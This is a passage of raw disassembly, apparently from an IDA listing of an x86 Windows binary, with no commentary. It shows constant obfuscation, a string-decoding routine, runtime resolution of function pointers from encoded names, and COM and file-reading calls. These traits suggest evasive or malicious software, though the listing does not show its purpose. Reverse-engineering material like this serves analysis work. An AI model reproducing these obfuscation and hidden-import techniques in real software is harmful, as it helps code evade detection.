		mov	edi, [eax]
		call	dword ptr [edi+5Ch]
		mov	ebx, eax
		mov	eax, dword_54F124
		add	eax, dword_54F090
		sub	eax, 6
		cmp	ebx, eax
		jnz	loc_4437A1
		lea	eax, [ebp+var_40E90]
		push	eax
		mov	eax, [ebp+var_40E70]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+20h]
		mov	ebx, eax
		mov	eax, dword_54F1C0
		add	eax, dword_54F200
		sub	eax, 6
		cmp	ebx, eax
		jnz	loc_443795
		mov	eax, dword_54F1D4
		add	eax, dword_54F23C
		sub	eax, 7
		neg	eax
		mov	[ebp+var_40E5C], eax
		push	offset dword_54F788
		call	sub_43DEC5
		push	eax
		call	ds:dword_44700C
		mov	[ebp+var_30E44], eax
		push	offset dword_54F774
		call	sub_43DEC5
		push	eax
		call	ds:dword_44700C
		mov	[ebp+var_30E48], eax
		movsx	eax, word_54F09C
		mov	edx, dword_54F22C
		sub	edx, 7
		mov	[ebp+eax+var_30D44], dl
		mov	eax, dword_54F0E0
		add	eax, dword_54F170
		mov	[ebp+eax+var_30D4A], 44h
		mov	eax, dword_54F248
		movsx	edx, word_54F0CC
		add	eax, edx
		mov	[ebp+eax+var_30D44], 7Ch
		lea	eax, [ebp+var_40E57]
		push	eax
		lea	eax, [ebp+var_30D40]
		push	eax
		call	ds:dword_44602C
		add	esp, 10h


loc_442C0E:				; CODE XREF: sub_44296E+DFBj
		movsx	eax, word_54F194
		dec	eax
		mov	[ebp+var_40E8C], eax
		mov	eax, dword_54F114
		add	eax, dword_54F150
		sub	eax, 5
		mov	[ebp+var_40E88], eax
		movsx	eax, word_54F164
		add	eax, dword_54F1BC
		sub	eax, 6
		neg	eax
		cmp	[ebp+var_40E5C], eax
		jnz	short loc_442C91
		lea	eax, [ebp+var_30E54]
		push	eax
		mov	eax, [ebp+var_40E6C]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+38h]
		mov	ebx, eax
		movsx	eax, word_54F210
		sub	eax, 5
		cmp	ebx, eax
		jnz	loc_443757
		push	offset byte_54F763
		call	sub_43AAF7
		push	eax
		lea	edi, [ebp+var_30D40]
		push	edi
		call	ds:dword_44602C
		add	esp, 0Ch
		jmp	loc_442DAD
; ---------------------------------------------------------------------------


loc_442C91:				; CODE XREF: sub_44296E+2DAj
		mov	[ebp+var_40EA8], 17h
		mov	eax, [ebp+var_40E5C]
		mov	[ebp+var_40EA0], eax
		lea	eax, [ebp+var_40EB8]
		push	eax
		lea	eax, [ebp+var_40EA8]
		push	eax
		mov	eax, [ebp+var_40E70]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+1Ch]
		lea	eax, [ebp+var_40E88]
		push	eax
		push	offset dword_550A78
		push	[ebp+var_40EB0]
		mov	edi, [ebp+var_40EB0]
		mov	edi, [edi]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		mov	eax, dword_54F1F8
		add	eax, dword_54F184
		sub	eax, 7
		cmp	ebx, eax
		jnz	loc_443757
		lea	eax, [ebp+var_40E8C]
		push	eax
		mov	eax, [ebp+var_40E88]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+0D0h]
		mov	ebx, eax
		mov	eax, dword_54F238
		add	eax, dword_54F21C
		sub	eax, 4
		cmp	ebx, eax
		jz	short loc_442D34
		mov	eax, [ebp+var_40E88]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]
		jmp	loc_443757
; ---------------------------------------------------------------------------


loc_442D34:				; CODE XREF: sub_44296E+3B3j
		lea	eax, [ebp+var_30E54]
		push	eax
		mov	eax, [ebp+var_40E8C]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+38h]
		mov	ebx, eax
		mov	eax, dword_54F100
		add	eax, dword_54F234
		sub	eax, 11h
		cmp	ebx, eax
		jz	short loc_442D78
		mov	eax, [ebp+var_40E8C]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]
		mov	eax, [ebp+var_40E88]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]
		jmp	loc_443757
; ---------------------------------------------------------------------------


loc_442D78:				; CODE XREF: sub_44296E+3EBj
		push	offset dword_54F754
		call	sub_43AAF7
		push	[ebp+var_40E5C]
		push	eax
		lea	edi, [ebp+var_30E3F]
		push	edi
		call	ds:dword_50C928
		lea	eax, [ebp+var_30E3F]
		push	eax
		lea	eax, [ebp+var_30D40]
		push	eax
		call	ds:dword_44602C
		add	esp, 18h


loc_442DAD:				; CODE XREF: sub_44296E+31Ej
		lea	eax, [ebp+var_30E58]
		push	eax
		mov	eax, [ebp+var_30E54]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+24h]
		mov	ebx, eax
		mov	eax, dword_54F0C8
		add	eax, dword_54F0A4
		sub	eax, 8
		cmp	ebx, eax
		jnz	loc_443757
		movsx	eax, word_54F0C4
		sub	eax, 6
		mov	[ebp+var_30E50], eax
		jmp	loc_443745
; ---------------------------------------------------------------------------


loc_442DED:				; CODE XREF: sub_44296E+DE3j
		mov	[ebp+var_60ED0], 2
		mov	eax, [ebp+var_30E50]
		mov	[ebp+var_60EC8], eax
		movsx	eax, word_54F1C4
		add	eax, dword_54F1F4
		mov	edx, dword_54F15C
		sub	edx, 4
		mov	[ebp+eax+var_50EAC], dl
		lea	eax, [ebp+var_60EC0]
		push	eax
		lea	esi, [ebp+var_60ED0]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		lea	esi, [ebp+var_60ED0]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		mov	edi, [ebp+var_30E54]
		push	edi
		mov	edi, [edi]
		call	dword ptr [edi+2Ch]
		mov	ebx, eax
		movsx	eax, word_54F0C4
		sub	eax, 6
		cmp	ebx, eax
		jnz	loc_44373F
		push	offset word_54F746
		call	sub_43AAF7
		push	[ebp+var_30E50]
		push	eax
		lea	edi, [ebp+var_30E3F]
		push	edi
		call	ds:dword_50C928
		lea	eax, [ebp+var_30E3F]
		push	eax
		lea	eax, [ebp+var_30D40]
		push	eax
		call	ds:dword_44602C
		add	esp, 18h
		movsx	eax, word_54F0CC
		add	eax, dword_54F1E4
		sub	eax, 5
		mov	[ebp+var_60ED4], eax
		lea	eax, [ebp+var_60ED4]
		push	eax
		push	offset dword_550A48
		mov	eax, [ebp+var_60EC0]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		mov	eax, dword_54F22C
		add	eax, dword_54F224
		sub	eax, 8
		cmp	ebx, eax
		jnz	loc_4433A0
		lea	eax, [ebp+var_60ED8]
		push	eax
		mov	eax, [ebp+var_60ED4]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+0F0h]
		mov	ebx, eax
		mov	eax, dword_54F154
		add	eax, dword_54F174
		sub	eax, 0Fh
		cmp	ebx, eax
		jnz	loc_443394
		lea	eax, [ebp+var_60E9F]
		push	eax
		push	[ebp+var_60ED8]
		call	sub_43BBFE
		add	esp, 8
		mov	edi, eax
		inc	edi
		mov	[ebp+var_60EB8], edi
		push	[ebp+var_60ED8]
		call	ds:dword_54DF34
		mov	eax, dword_54F248
		sub	eax, 4
		mov	[ebp+var_40E9C], eax
		jmp	short loc_442F9B
; ---------------------------------------------------------------------------


loc_442F51:				; CODE XREF: sub_44296E+639j
		mov	eax, [ebp+var_40E9C]
		movsx	eax, [ebp+eax+var_60E9F]
		mov	edx, dword_54F1AC
		add	edx, 0Bh
		cmp	eax, edx
		jz	short loc_442F7F
		mov	edx, dword_54F134
		add	edx, 4
		add	edx, dword_54F170
		cmp	eax, edx
		jnz	short loc_442F95


loc_442F7F:				; CODE XREF: sub_44296E+5FCj
		mov	eax, [ebp+var_40E9C]
		mov	edx, dword_54F15C
		sub	edx, 4
		mov	[ebp+eax+var_60E9F], dl


loc_442F95:				; CODE XREF: sub_44296E+60Fj
		inc	[ebp+var_40E9C]


loc_442F9B:				; CODE XREF: sub_44296E+5E1j
		mov	eax, [ebp+var_60EB8]
		cmp	[ebp+var_40E9C], eax
		jb	short loc_442F51
		lea	eax, [ebp+var_60E9F]
		push	eax
		lea	eax, [ebp+var_50E9B]
		push	eax
		call	sub_4455D4
		movsx	eax, word_54F09C
		add	eax, dword_54F124
		sub	eax, 8
		mov	[ebp+var_40E9C], eax


loc_442FD2:				; CODE XREF: sub_44296E+7A5j
		mov	eax, [ebp+var_40E9C]
		lea	ecx, [ebp+eax+var_60E9F]
		or	eax, 0FFFFFFFFh


loc_442FE2:				; CODE XREF: sub_44296E+679j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_442FE2
		mov	[ebp+var_60EA8], eax
		mov	edx, dword_54F23C
		mov	ecx, edx
		add	ecx, edx
		cmp	eax, ecx
		jz	short loc_443015
		movsx	edx, word_54F218
		mov	ecx, dword_54F0E0
		lea	edx, [edx+ecx+0C2h]
		cmp	eax, edx
		jbe	short loc_44301A


loc_443015:				; CODE XREF: sub_44296E+68Dj
		jmp	loc_4430EA
; ---------------------------------------------------------------------------


loc_44301A:				; CODE XREF: sub_44296E+6A5j
		movsx	eax, word_54F244
		sub	eax, 7
		mov	[ebp+var_60EA4], eax
		jmp	short loc_443054
; ---------------------------------------------------------------------------


loc_44302C:				; CODE XREF: sub_44296E+6F2j
		mov	eax, [ebp+var_40E9C]
		add	eax, [ebp+var_60EA4]
		movsx	eax, [ebp+eax+var_60E9F]
		movsx	edx, word_54F0FC
		add	edx, 1Eh
		cmp	eax, edx
		jnz	short loc_443062
		inc	[ebp+var_60EA4]


loc_443054:				; CODE XREF: sub_44296E+6BCj
		mov	eax, [ebp+var_60EA8]
		cmp	[ebp+var_60EA4], eax
		jb	short loc_44302C


loc_443062:				; CODE XREF: sub_44296E+6DEj
		mov	eax, [ebp+var_60EA8]
		cmp	[ebp+var_60EA4], eax
		jz	short loc_4430EA
		movsx	eax, word_54F0FC
		dec	eax
		push	eax
		mov	eax, [ebp+var_40E9C]
		lea	eax, [ebp+eax+var_60E9F]
		push	eax
		lea	eax, [ebp+var_50E9B]
		push	eax
		call	sub_43DE22
		add	esp, 0Ch
		mov	[ebp+var_60EDC], eax
		mov	eax, dword_54F180
		add	eax, 0FFF7h
		add	eax, dword_54F234
		cmp	[ebp+var_60EDC], eax
		jnz	short loc_4430EA
		push	offset byte_54F741
		call	sub_43AAF7
		push	eax
		lea	edi, [ebp+var_50E9B]
		push	edi
		call	ds:dword_44602C
		mov	eax, [ebp+var_40E9C]
		lea	eax, [ebp+eax+var_60E9F]
		push	eax
		lea	eax, [ebp+var_50E9B]
		push	eax
		call	ds:dword_44602C
		add	esp, 14h


loc_4430EA:				; CODE XREF: sub_44296E:loc_443015j
					; sub_44296E+700j ...
		mov	eax, [ebp+var_60EA8]
		mov	edx, dword_54F19C
		add	edx, dword_54F1C0
		sub	edx, 4
		add	eax, edx
		add	[ebp+var_40E9C], eax
		mov	eax, [ebp+var_60EB8]
		cmp	[ebp+var_40E9C], eax
		jb	loc_442FD2
		mov	eax, dword_54F20C
		sub	eax, 4
		mov	[ebp+var_60EB4], eax
		lea	ecx, [ebp+var_50E9B]
		or	eax, 0FFFFFFFFh


loc_443130:				; CODE XREF: sub_44296E+7C7j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_443130
		mov	[ebp+var_60EA8], eax
		mov	eax, dword_54F1C0
		sub	eax, 1
		mov	[ebp+var_40E9C], eax
		jmp	loc_443363
; ---------------------------------------------------------------------------


loc_443150:				; CODE XREF: sub_44296E+A01j
		mov	eax, [ebp+var_40E9C]
		movzx	eax, [ebp+eax+var_50E9B]
		mov	edx, dword_54F134
		add	edx, 15h
		add	edx, dword_54F098
		cmp	eax, edx
		jz	short loc_443178
		and	[ebp+var_60EAC], 0


loc_443178:				; CODE XREF: sub_44296E+801j
		mov	eax, [ebp+var_40E9C]
		movzx	eax, [ebp+eax+var_50E9B]
		mov	edx, dword_54F1DC
		add	edx, 20h
		cmp	eax, edx
		jnz	loc_443309
		mov	eax, dword_54F184
		sub	eax, 4
		cmp	[ebp+var_40E9C], eax
		jbe	loc_44325B
		mov	eax, [ebp+var_40E9C]
		movsx	edx, word_54F128
		add	edx, dword_54F158
		sub	edx, 7
		sub	eax, edx
		mov	al, [ebp+eax+var_50E9B]
		mov	[ebp+var_60EDD], al
		movzx	eax, [ebp+var_60EDD]
		mov	edx, dword_54F14C
		add	edx, 1Eh
		cmp	eax, edx
		jle	short loc_4431F1
		mov	edx, dword_54F0E8
		add	edx, 2Fh
		cmp	eax, edx
		jl	short loc_443251


loc_4431F1:				; CODE XREF: sub_44296E+874j
		movzx	eax, [ebp+var_60EDD]
		movsx	edx, word_54F164
		mov	ecx, dword_54F1AC
		lea	edx, [edx+ecx+36h]
		cmp	eax, edx
		jle	short loc_443222
		movsx	edx, word_54F1CC
		mov	ecx, dword_54F1A0
		lea	edx, [edx+ecx+30h]
		cmp	eax, edx
		jl	short loc_443251


loc_443222:				; CODE XREF: sub_44296E+89Dj
		movzx	eax, [ebp+var_60EDD]
		movsx	edx, word_54F194
		mov	ecx, dword_54F0E0
		lea	edx, [edx+ecx+73h]
		cmp	eax, edx
		jle	short loc_44325B
		mov	edx, dword_54F0AC
		add	edx, 78h
		add	edx, dword_54F1DC
		cmp	eax, edx
		jge	short loc_44325B


loc_443251:				; CODE XREF: sub_44296E+881j
					; sub_44296E+8B2j
		mov	[ebp+var_60EAC], 1


loc_44325B:				; CODE XREF: sub_44296E+837j
					; sub_44296E+8CEj ...
		mov	eax, [ebp+var_60EA8]
		cmp	[ebp+var_40E9C], eax
		jnb	loc_443309
		mov	eax, [ebp+var_40E9C]
		mov	edx, dword_54F098
		sub	edx, 8
		add	eax, edx
		mov	al, [ebp+eax+var_50E9B]
		mov	[ebp+var_60EDD], al
		movzx	eax, [ebp+var_60EDD]
		mov	edx, dword_54F1F4
		add	edx, 15h
		add	edx, dword_54F204
		cmp	eax, edx
		jle	short loc_4432BB
		mov	edx, dword_54F188
		add	edx, 29h
		movsx	ecx, word_54F094
		add	edx, ecx
		cmp	eax, edx
		jl	short loc_4432FF


loc_4432BB:				; CODE XREF: sub_44296E+935j
		movzx	eax, [ebp+var_60EDD]
		mov	edx, dword_54F21C
		add	edx, 35h
		cmp	eax, edx
		jle	short loc_4432DC
		mov	edx, dword_54F1F8
		add	edx, 3Eh
		cmp	eax, edx
		jl	short loc_4432FF


loc_4432DC:				; CODE XREF: sub_44296E+95Fj
		movzx	eax, [ebp+var_60EDD]
		movsx	edx, word_54F138
		add	edx, 77h
		cmp	eax, edx
		jle	short loc_443309
		movsx	edx, word_54F0CC
		add	edx, 7Eh
		cmp	eax, edx
		jge	short loc_443309


loc_4432FF:				; CODE XREF: sub_44296E+94Bj
					; sub_44296E+96Cj
		mov	[ebp+var_60EAC], 1


loc_443309:				; CODE XREF: sub_44296E+823j
					; sub_44296E+8F9j ...
		cmp	[ebp+var_60EAC], 0
		jnz	short loc_443332
		mov	eax, [ebp+var_60EB4]
		mov	edx, [ebp+var_40E9C]
		mov	dl, [ebp+edx+var_50E9B]
		mov	[ebp+eax+var_50E9B], dl
		inc	[ebp+var_60EB4]


loc_443332:				; CODE XREF: sub_44296E+9A2j
		mov	eax, [ebp+var_40E9C]
		movzx	eax, [ebp+eax+var_50E9B]
		mov	edx, dword_54F0D8
		add	edx, 18h
		add	edx, dword_54F10C
		cmp	eax, edx
		jnz	short loc_44335D
		mov	[ebp+var_60EAC], 1


loc_44335D:				; CODE XREF: sub_44296E+9E3j
		inc	[ebp+var_40E9C]


loc_443363:				; CODE XREF: sub_44296E+7DDj
		mov	eax, [ebp+var_60EA8]
		cmp	[ebp+var_40E9C], eax
		jb	loc_443150
		mov	eax, [ebp+var_60EB4]
		mov	edx, dword_54F1B0
		movsx	ecx, word_54F09C
		add	edx, ecx
		sub	edx, 0Dh
		mov	[ebp+eax+var_50E9B], dl


loc_443394:				; CODE XREF: sub_44296E+5A3j
		mov	eax, [ebp+var_60ED4]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_4433A0:				; CODE XREF: sub_44296E+575j
		movsx	eax, word_54F13C
		sub	eax, 9
		mov	[ebp+var_60EB0], eax
		lea	eax, [ebp+var_60EB0]
		push	eax
		push	offset dword_550A58
		mov	eax, [ebp+var_60EC0]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		mov	eax, dword_54F204
		add	eax, dword_54F180
		sub	eax, 2
		cmp	ebx, eax
		jnz	loc_4436D2
		lea	eax, [ebp+var_60EBC]
		push	eax
		mov	eax, [ebp+var_60EB0]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+6Ch]
		mov	ebx, eax
		mov	eax, dword_54F124
		movsx	edx, word_54F128
		add	eax, edx
		sub	eax, 7
		cmp	ebx, eax
		jnz	loc_4436C6
		mov	eax, dword_54F234
		sub	eax, 8
		mov	[ebp+var_50EA0], eax
		jmp	loc_4436B4
; ---------------------------------------------------------------------------


loc_443425:				; CODE XREF: sub_44296E+D52j
		mov	eax, dword_54F160
		add	eax, dword_54F174
		sub	eax, 0Eh
		push	eax
		call	ds:dword_50C924
		pop	ecx
		mov	[ebp+var_70F08], 2
		mov	eax, [ebp+var_50EA0]
		mov	[ebp+var_70F00], eax
		lea	eax, [ebp+var_70F0C]
		push	eax
		lea	esi, [ebp+var_70F08]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		lea	esi, [ebp+var_70F08]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		mov	edi, [ebp+var_60EB0]
		push	edi
		mov	edi, [edi]
		call	dword ptr [edi+74h]
		mov	ebx, eax
		movsx	eax, word_54F210
		movsx	edx, word_54F0CC
		add	eax, edx
		sub	eax, 6
		cmp	ebx, eax
		jnz	loc_4436AE
		movsx	eax, word_54F094
		add	eax, dword_54F0A0
		sub	eax, 5
		mov	[ebp+var_70EF4], eax
		lea	eax, [ebp+var_70EF4]
		push	eax
		push	offset dword_550A48
		mov	eax, [ebp+var_70F0C]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		movsx	eax, word_54F1A8
		add	eax, dword_54F220
		sub	eax, 2
		cmp	ebx, eax
		jnz	loc_4436A2
		lea	eax, [ebp+var_60EF0]
		push	eax
		movsx	eax, word_54F128
		sub	eax, 5
		push	eax
		push	[ebp+var_30E48]
		mov	eax, [ebp+var_70EF4]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+20h]
		mov	ebx, eax
		or	ebx, ebx
		jnz	short loc_443524
		cmp	[ebp+var_60EF0], 8
		jz	short loc_443529


loc_443524:				; CODE XREF: sub_44296E+BAAj
		jmp	loc_443696
; ---------------------------------------------------------------------------


loc_443529:				; CODE XREF: sub_44296E+BB4j
		mov	eax, dword_54F20C
		add	eax, dword_54F18C
		movsx	edx, word_54F13C
		sub	edx, 9
		mov	byte ptr [ebp+eax+var_70EF4], dl
		lea	eax, [ebp+var_70EEF]
		push	eax
		push	[ebp+var_60EE8]
		call	sub_43BBFE
		add	esp, 8
		mov	edi, eax
		inc	edi
		mov	[ebp+var_71F10], edi
		push	[ebp+var_60EE8]
		call	ds:dword_54DF34
		mov	eax, dword_54F134
		movsx	edx, word_54F094
		movsx	edx, byte ptr [ebp+edx+var_70EF4+3]
		mov	ecx, eax
		add	ecx, eax
		mov	eax, ecx
		sub	eax, 4
		cmp	edx, eax
		jz	loc_443696
		push	[ebp+var_30E4C]
		lea	eax, [ebp+var_70EEF]
		push	eax
		call	sub_438324
		add	esp, 8
		lea	eax, [ebp+var_60EF0]
		push	eax
		mov	eax, dword_54F120
		sub	eax, 8
		push	eax
		push	[ebp+var_30E44]
		mov	eax, [ebp+var_70EF4]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+20h]
		mov	ebx, eax
		mov	eax, dword_54F220
		add	eax, dword_54F24C
		movsx	edx, word_54F118
		sub	edx, 8
		mov	[ebp+eax+var_71F16], dl
		or	ebx, ebx
		jnz	short loc_443621
		cmp	[ebp+var_60EF0], 8
		jnz	short loc_443621
		lea	eax, [ebp+var_71F0B]
		push	eax
		push	[ebp+var_60EE8]
		call	sub_43BBFE
		add	esp, 8
		mov	edi, eax
		inc	edi
		mov	[ebp+var_71F14], edi
		push	[ebp+var_60EE8]
		call	ds:dword_54DF34


loc_443621:				; CODE XREF: sub_44296E+C7Dj
					; sub_44296E+C87j
		push	offset byte_54F739
		call	sub_43AAF7
		push	[ebp+var_50EA0]
		push	eax
		lea	edi, [ebp+var_30E3F]
		push	edi
		call	ds:dword_50C928
		lea	eax, [ebp+var_30E3F]
		push	eax
		lea	eax, [ebp+var_30D40]
		push	eax
		call	ds:dword_44602C
		lea	eax, [ebp+var_71F0B]
		push	eax
		lea	eax, [ebp+var_30D40]
		push	eax
		call	ds:dword_44602C
		push	offset dword_54F734
		call	sub_43AAF7
		push	eax
		lea	edi, [ebp+var_30D40]
		push	edi
		call	ds:dword_44602C
		lea	eax, [ebp+var_70EEF]
		push	eax
		lea	eax, [ebp+var_30D40]
		push	eax
		call	ds:dword_44602C
		add	esp, 34h


loc_443696:				; CODE XREF: sub_44296E:loc_443524j
					; sub_44296E+C20j
		mov	eax, [ebp+var_70EF4]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_4436A2:				; CODE XREF: sub_44296E+B7Cj
		mov	eax, [ebp+var_70F0C]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_4436AE:				; CODE XREF: sub_44296E+B30j
		inc	[ebp+var_50EA0]


loc_4436B4:				; CODE XREF: sub_44296E+AB2j
		mov	eax, [ebp+var_60EBC]
		cmp	[ebp+var_50EA0], eax
		jb	loc_443425


loc_4436C6:				; CODE XREF: sub_44296E+A9Ej
		mov	eax, [ebp+var_60EB0]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_4436D2:				; CODE XREF: sub_44296E+A70j
		mov	eax, [ebp+var_60EC0]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]
		movzx	eax, [ebp+var_50E9B]
		mov	edx, dword_54F12C
		add	edx, dword_54F180
		sub	edx, 8
		cmp	eax, edx
		jz	short loc_44373F
		push	offset word_54F72E
		call	sub_43AAF7
		push	eax
		lea	edi, [ebp+var_30D40]
		push	edi
		call	ds:dword_44602C
		lea	eax, [ebp+var_50E9B]
		push	eax
		lea	eax, [ebp+var_30D40]
		push	eax
		call	ds:dword_44602C
		push	offset byte_54F729
		call	sub_43AAF7
		push	eax
		lea	edi, [ebp+var_30D40]
		push	edi
		call	ds:dword_44602C
		add	esp, 20h


loc_44373F:				; CODE XREF: sub_44296E+4F6j
					; sub_44296E+D88j
		inc	[ebp+var_30E50]


loc_443745:				; CODE XREF: sub_44296E+47Aj
		mov	eax, [ebp+var_30E58]
		cmp	[ebp+var_30E50], eax
		jb	loc_442DED


loc_443757:				; CODE XREF: sub_44296E+2FDj
					; sub_44296E+385j ...
		inc	[ebp+var_40E5C]
		mov	eax, [ebp+var_40E90]
		cmp	[ebp+var_40E5C], eax
		jl	loc_442C0E
		lea	eax, [ebp+var_30D40]
		push	eax
		call	ds:dword_50C91C
		pop	ecx
		push	[ebp+var_30E48]
		call	ds:dword_54DF34
		push	[ebp+var_30E44]
		call	ds:dword_54DF34


loc_443795:				; CODE XREF: sub_44296E+1FFj
		mov	eax, [ebp+var_40E70]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_4437A1:				; CODE XREF: sub_44296E+1D4j
		mov	eax, [ebp+var_40E6C]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_4437AD:				; CODE XREF: sub_44296E+1A9j
		mov	eax, [ebp+var_40E68]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_4437B9:				; CODE XREF: sub_44296E+CAj
					; sub_44296E:loc_442A8Cj ...
		mov	eax, [ebp+var_40E64]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_4437C5:				; CODE XREF: sub_44296E+51j
					; sub_44296E+9Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_44296E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4437CA	proc near		; DATA XREF: .data:0054F2F0o
		push	ebp
		mov	ebp, esp
		push	offset dword_4495B8
		call	ds:dword_4899F8
		mov	eax, ds:dword_4495B8
		pop	ebp
		retn	4
sub_4437CA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4437E1	proc near		; CODE XREF: sub_43B535+18p
					; sub_43FBFD+10p ...

var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	eax
		push	ebx
		push	esi
		push	edi
		push	0
		push	80h
		push	3
		push	0
		push	3
		push	80000000h
		push	[ebp+arg_0]
		call	ds:dword_54DB18
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_443829
		cmp	[ebp+arg_4], 0
		jz	short loc_443825
		mov	eax, [ebp+arg_4]
		mov	edx, dword_54F220
		add	edx, dword_54F19C
		sub	edx, 6
		mov	[eax], edx


loc_443825:				; CODE XREF: sub_4437E1+2Ej
		xor	eax, eax
		jmp	short loc_443878
; ---------------------------------------------------------------------------


loc_443829:				; CODE XREF: sub_4437E1+28j
		mov	eax, dword_54F1B4
		sub	eax, 4
		push	eax
		push	edi
		call	ds:dword_4CC910
		mov	esi, eax
		add	eax, 10h
		push	eax
		push	40h
		call	ds:dword_4899EC
		mov	ebx, eax
		push	dword_54F1FC
		cmp	[ebp+arg_4], 0
		jz	short loc_44385D
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_8], eax
		jmp	short loc_443863
; ---------------------------------------------------------------------------


loc_44385D:				; CODE XREF: sub_4437E1+72j
		lea	eax, [ebp+var_4]
		mov	[ebp+var_8], eax


loc_443863:				; CODE XREF: sub_4437E1+7Aj
		push	[ebp+var_8]
		push	esi
		push	ebx
		push	edi
		call	ds:dword_446034
		push	edi
		call	ds:dword_4CB948
		mov	eax, ebx


loc_443878:				; CODE XREF: sub_4437E1+46j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4437E1	endp


; =============== S U B	R O U T	I N E =======================================



sub_44387D	proc near		; DATA XREF: .data:0054F2B8o
		mov	eax, 80004001h
		retn	10h
sub_44387D	endp


; =============== S U B	R O U T	I N E =======================================



sub_443885	proc near		; CODE XREF: sub_444ED7+1Bp
		push	edi
		push	offset byte_54F719
		call	sub_43AAF7
		pop	ecx
		push	eax
		call	ds:dword_449598
		mov	dword_54F278, eax
		mov	eax, dword_54F168
		add	eax, dword_54F17C
		sub	eax, 9
		cmp	dword_54F278, eax
		jnz	short loc_4438CA
		push	offset byte_54F709
		call	sub_43AAF7
		pop	ecx
		push	eax
		call	ds:dword_48A218
		mov	dword_54F278, eax


loc_4438CA:				; CODE XREF: sub_443885+2Cj
		push	offset dword_54F6EC
		call	sub_43AAF7
		push	eax
		call	sub_443D7B
		mov	ds:dword_48A1E4, eax
		push	offset byte_54F6CF
		call	sub_43AAF7
		push	eax
		call	sub_443D7B
		mov	ds:dword_4491A8, eax
		push	offset asc_54F6C0 ; "\v"
		call	sub_43AAF7
		push	eax
		call	sub_443D7B
		mov	ds:dword_4CC904, eax
		push	offset byte_54F6A7
		call	sub_43AAF7
		push	eax
		call	sub_443D7B
		mov	ds:dword_4CB81C, eax
		push	offset dword_54F68C
		call	sub_43AAF7
		push	eax
		call	sub_443D7B
		mov	ds:dword_446050, eax
		push	offset byte_54F673
		call	sub_43AAF7
		push	eax
		call	sub_443D7B
		mov	ds:dword_446020, eax
		push	offset byte_54F65F
		call	sub_43AAF7
		push	eax
		call	sub_443D7B
		mov	ds:dword_54C968, eax
		push	offset byte_54F649
		call	sub_43AAF7
		push	eax
		call	sub_443D7B
		mov	ds:dword_4899DC, eax
		push	offset byte_54F62B
		call	sub_43AAF7
		push	eax
		call	sub_443D7B
		mov	ds:dword_4899E8, eax
		push	offset word_54F61A
		call	sub_43AAF7
		push	eax
		call	sub_443D7B
		mov	ds:dword_44959C, eax
		push	offset word_54F60A
		call	sub_43AAF7
		push	eax
		call	sub_443D7B
		mov	ds:dword_4495A0, eax
		push	offset off_54F5EA
		call	sub_43AAF7
		push	eax
		call	sub_443D7B
		mov	ds:dword_447008, eax
		push	offset byte_54F5D3
		call	sub_43AAF7
		push	eax
		call	sub_443D7B
		mov	ds:dword_4CC90C, eax
		push	offset byte_54F5BF
		call	sub_43AAF7
		push	eax
		call	sub_443D7B
		mov	ds:dword_449080, eax
		push	offset byte_54F5AB
		call	sub_43AAF7
		push	eax
		call	sub_443D7B
		add	esp, 78h
		mov	ds:dword_44604C, eax
		pop	edi
		retn
sub_443885	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_443A0A	proc near		; CODE XREF: sub_4408C5+4Cp
					; sub_4408C5+61p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	edi
		push	[ebp+arg_0]
		push	dword_54F25C
		call	ds:dword_4491AC
		mov	edi, eax
		pop	edi
		pop	ebp
		retn
sub_443A0A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_443A22	proc near		; CODE XREF: sub_443E8D+9Cp
					; sub_443E8D+B4p ...

var_4		= dword	ptr -4
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	edi
		movzx	eax, [ebp+arg_0]
		mov	ecx, 0Ah
		mov	edx, 0CCCCCCCDh
		mul	edx
		shr	edx, 3
